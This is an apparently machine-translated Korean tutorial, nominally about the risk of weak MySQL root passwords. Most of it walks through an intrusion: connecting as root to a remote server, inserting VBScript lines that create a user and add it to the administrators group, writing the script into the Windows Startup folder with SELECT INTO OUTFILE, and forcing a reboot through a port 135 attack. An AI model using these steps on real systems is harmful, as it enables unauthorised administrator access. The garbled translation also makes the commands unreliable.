문서는 MySQL 사용자 루트 암호 약한 암호 공격을 방지 하는 것에 대 한 소개, 우리 자신의 MySQL 루트는 또한 보안 위험을 볼 수 있습니다.
1, MySQL 서버에 연결 하
Mysql-u 루트 h 192.168.0.1
Mysql.exe이이 프로그램은 MySQL 설치 있는 bin 디렉터리.
2. 살펴보겠습니다 일부 데이터베이스에는 서버에서
Mysql > 보기 데이터베이스; MySQL 기본 설치 MySQL, 테스트이 두 데이터베이스는 다른 데이터베이스 사용자 내장 데이터베이스는 볼 것 이다.
3, 우리는 데이터베이스를 입력 하자
Mysql > 시험; 우리는 테스트 데이터베이스를 입력 합니다.
4. 우리가 데이터베이스에 들어가서 어떤 데이터 테이블 참조
Mysql > 보기 테이블; 기본적으로 테이블이 테스트에 존재합니다.
다음은 핵심 부품
5. 테스트 데이터베이스;에서 새 테이블 만들기
Mysql > 만들 테이블 (cmd 텍스트); 글쎄, 우리만 테이블에 한 필드를 보유 하 고 있는 A 라는 새 테이블을 만든, cmd, 그리고 텍스트 필드 이름입니다.
6, 테이블에 콘텐츠를 삽입
Mysql >를 값으로 삽입 ("설정 Wshshell createobject (""Wscript.Shell") = ");
Mysql > 삽입 값 ("A=wshshell.run (" "cmd.exe/c net 사용자 1 1/추가" ", 0)");
Mysql >를 값으로 삽입
("B=wshshell.run (" "Cmd.exe/c net 닫습니다 관리자 1/추가" ", 0)");
이중 따옴표 및 괄호 하 고 뒤에 "0"을 입력 해야 합니다! 이러한 세 가지 명령을 사용 하 여 VBS 스크립트를 만들 것입니다 우리! 7, 확인, 이제 테이블 A에 보자
Mysql > 선택 * 즉, 무엇 우리가 방금 입력 한, 테이블에 있는 데이터의 세 개의 행 확인 입력, 그리고 우리는 다음 단계에 올 거 야 A;에서 우리는 볼 것 이다.
8, 출력 테이블은 VBS 스크립트 파일
Mysql > 선택 * outfile을 A에서 "c:docume ~ 1alluse ~ 1"메뉴 프로그램 시작 A.vbs"; 우리는 VBS 스크립트 파일을 시작 프로그램 그룹에 우리 테이블의 내용을 입력! 기호 note
9, 참조가 모두 알고 있어야 합니다, MySQL 사용 하 여 출력 실행 파일입니다. 왜 전투, 때문에의 시작 것입니다 분명 DOS 창 VBS 스크립트 완전히 오류 없이 창을 숨길 수 있습니다! 원래 스크립트의 완료는 자동으로이 스크립트를 삭제 한 후 문장 해야 하지만 중국 디렉터리는 정말 수 처리,만을 잊지! 좋아, 135를 공격 하 고 서버를 다시 부팅 하 게 하는 도구를 찾아서 몇 분에 관리자가 됩니다.
요약: 아무리 당신이 필요로 할 때 그들의 자신의 서버 보안에 주의를 지불 하거나 다른 응용 프로그램에 대 한 얘기를 하지,이 문서에서는 설명 합니다 MySQL 루트 암호 약한 암호 공격만 빙산 한 솔루션의 보안 응용 프로그램은.